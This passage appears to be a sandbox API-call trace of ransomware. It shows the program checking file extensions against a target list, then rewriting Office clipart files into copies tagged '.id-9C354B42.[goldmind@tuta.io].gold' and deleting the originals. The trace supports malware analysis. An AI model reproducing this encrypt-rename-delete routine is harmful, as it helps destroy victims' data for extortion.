lstrlenW (lpString=".xls") returned 4 [0097.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.520] lstrlenW (lpString=".xlsx") returned 5 [0097.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.520] lstrlenW (lpString=".ppt") returned 4 [0097.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0097.520] lstrlenW (lpString=".zip") returned 4 [0097.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.520] lstrlenW (lpString=".rar") returned 4 [0097.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.521] lstrlenW (lpString=".bz2") returned 4 [0097.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.521] lstrlenW (lpString=".7z") returned 3 [0097.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0097.521] lstrlenW (lpString=".dbf") returned 4 [0097.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0097.521] lstrlenW (lpString=".1cd") returned 4 [0097.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0097.521] lstrlenW (lpString=".jpg") returned 4 [0097.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.521] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0097.521] lstrlenW (lpString="HH00601_.WMF") returned 12 [0097.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0097.522] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1468) returned 1 [0097.522] CloseHandle (hObject=0x3b0) returned 1 [0097.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x20 [0097.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0097.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0097.522] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.522] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0097.523] GetLastError () returned 0x0 [0097.523] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x5bc, lpOverlapped=0x0) returned 1 [0097.524] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0097.524] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0097.524] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0097.525] SetEndOfFile (hFile=0x394) returned 1 [0097.525] CloseHandle (hObject=0x394) returned 1 [0097.525] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.525] SetEndOfFile (hFile=0x3b0) returned 1 [0097.526] CloseHandle (hObject=0x3b0) returned 1 [0097.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0097.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0097.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0097.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0097.527] lstrlenW (lpString=".doc") returned 4 [0097.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.527] lstrlenW (lpString=".docx") returned 5 [0097.527] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.527] lstrlenW (lpString=".pdf") returned 4 [0097.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.527] lstrlenW (lpString=".xls") returned 4 [0097.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.527] lstrlenW (lpString=".xlsx") returned 5 [0097.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.527] lstrlenW (lpString=".ppt") returned 4 [0097.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0097.527] lstrlenW (lpString=".zip") returned 4 [0097.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.527] lstrlenW (lpString=".rar") returned 4 [0097.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.527] lstrlenW (lpString=".bz2") returned 4 [0097.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.528] lstrlenW (lpString=".7z") returned 3 [0097.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0097.528] lstrlenW (lpString=".dbf") returned 4 [0097.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0097.528] lstrlenW (lpString=".1cd") returned 4 [0097.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0097.528] lstrlenW (lpString=".jpg") returned 4 [0097.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0097.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0097.528] lstrlenW (lpString=".doc") returned 4 [0097.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.528] lstrlenW (lpString=".docx") returned 5 [0097.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.528] lstrlenW (lpString=".pdf") returned 4 [0097.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.528] lstrlenW (lpString=".xls") returned 4 [0097.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.528] lstrlenW (lpString=".xlsx") returned 5 [0097.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.528] lstrlenW (lpString=".ppt") returned 4 [0097.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0097.528] lstrlenW (lpString=".zip") returned 4 [0097.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.528] lstrlenW (lpString=".rar") returned 4 [0097.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.528] lstrlenW (lpString=".bz2") returned 4 [0097.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.528] lstrlenW (lpString=".7z") returned 3 [0097.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0097.528] lstrlenW (lpString=".dbf") returned 4 [0097.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0097.528] lstrlenW (lpString=".1cd") returned 4 [0097.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0097.528] lstrlenW (lpString=".jpg") returned 4 [0097.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.529] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0097.529] lstrlenW (lpString="HH00602_.WMF") returned 12 [0097.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0097.529] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1400) returned 1 [0097.529] CloseHandle (hObject=0x3b0) returned 1 [0097.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x20 [0097.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0097.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0097.530] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.530] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0097.530] GetLastError () returned 0x0 [0097.530] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x578, lpOverlapped=0x0) returned 1 [0097.531] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x580, lpOverlapped=0x0) returned 1 [0097.532] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0097.532] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0097.532] SetEndOfFile (hFile=0x394) returned 1 [0097.532] CloseHandle (hObject=0x394) returned 1 [0097.532] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.532] SetEndOfFile (hFile=0x3b0) returned 1 [0097.534] CloseHandle (hObject=0x3b0) returned 1 [0097.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0097.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0097.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0097.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0097.535] lstrlenW (lpString=".doc") returned 4 [0097.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.535] lstrlenW (lpString=".docx") returned 5 [0097.535] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.535] lstrlenW (lpString=".pdf") returned 4 [0097.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.535] lstrlenW (lpString=".xls") returned 4 [0097.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.535] lstrlenW (lpString=".xlsx") returned 5 [0097.535] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.535] lstrlenW (lpString=".ppt") returned 4 [0097.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0097.535] lstrlenW (lpString=".zip") returned 4 [0097.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.535] lstrlenW (lpString=".rar") returned 4 [0097.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.535] lstrlenW (lpString=".bz2") returned 4 [0097.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.535] lstrlenW (lpString=".7z") returned 3 [0097.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0097.535] lstrlenW (lpString=".dbf") returned 4 [0097.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0097.535] lstrlenW (lpString=".1cd") returned 4 [0097.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0097.536] lstrlenW (lpString=".jpg") returned 4 [0097.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0097.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0097.536] lstrlenW (lpString=".doc") returned 4 [0097.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.536] lstrlenW (lpString=".docx") returned 5 [0097.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.536] lstrlenW (lpString=".pdf") returned 4 [0097.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.536] lstrlenW (lpString=".xls") returned 4 [0097.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.536] lstrlenW (lpString=".xlsx") returned 5 [0097.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.536] lstrlenW (lpString=".ppt") returned 4 [0097.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0097.536] lstrlenW (lpString=".zip") returned 4 [0097.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.536] lstrlenW (lpString=".rar") returned 4 [0097.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.536] lstrlenW (lpString=".bz2") returned 4 [0097.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.536] lstrlenW (lpString=".7z") returned 3 [0097.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0097.536] lstrlenW (lpString=".dbf") returned 4 [0097.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0097.536] lstrlenW (lpString=".1cd") returned 4 [0097.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0097.536] lstrlenW (lpString=".jpg") returned 4 [0097.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.536] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0097.536] lstrlenW (lpString="HH00612_.WMF") returned 12 [0097.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0097.537] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=12632) returned 1 [0097.537] CloseHandle (hObject=0x3b0) returned 1 [0097.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x20 [0097.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0097.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0097.538] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.538] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0097.538] GetLastError () returned 0x0 [0097.538] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x3158, lpOverlapped=0x0) returned 1 [0097.540] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x3160, lpOverlapped=0x0) returned 1 [0097.541] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0097.541] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0097.541] SetEndOfFile (hFile=0x394) returned 1 [0097.541] CloseHandle (hObject=0x394) returned 1 [0097.541] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.541] SetEndOfFile (hFile=0x3b0) returned 1 [0097.545] CloseHandle (hObject=0x3b0) returned 1 [0097.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0097.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0097.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0097.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0097.546] lstrlenW (lpString=".doc") returned 4 [0097.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.546] lstrlenW (lpString=".docx") returned 5 [0097.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.546] lstrlenW (lpString=".pdf") returned 4 [0097.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.546] lstrlenW (lpString=".xls") returned 4 [0097.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.546] lstrlenW (lpString=".xlsx") returned 5 [0097.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.546] lstrlenW (lpString=".ppt") returned 4 [0097.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0097.546] lstrlenW (lpString=".zip") returned 4 [0097.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.546] lstrlenW (lpString=".rar") returned 4 [0097.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.546] lstrlenW (lpString=".bz2") returned 4 [0097.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.546] lstrlenW (lpString=".7z") returned 3 [0097.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0097.547] lstrlenW (lpString=".dbf") returned 4 [0097.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0097.547] lstrlenW (lpString=".1cd") returned 4 [0097.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0097.547] lstrlenW (lpString=".jpg") returned 4 [0097.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0097.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0097.547] lstrlenW (lpString=".doc") returned 4 [0097.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.547] lstrlenW (lpString=".docx") returned 5 [0097.547] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.547] lstrlenW (lpString=".pdf") returned 4 [0097.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.547] lstrlenW (lpString=".xls") returned 4 [0097.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.547] lstrlenW (lpString=".xlsx") returned 5 [0097.547] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.547] lstrlenW (lpString=".ppt") returned 4 [0097.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0097.547] lstrlenW (lpString=".zip") returned 4 [0097.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.547] lstrlenW (lpString=".rar") returned 4 [0097.547] lstrcmpiW (lpString1=".rar", 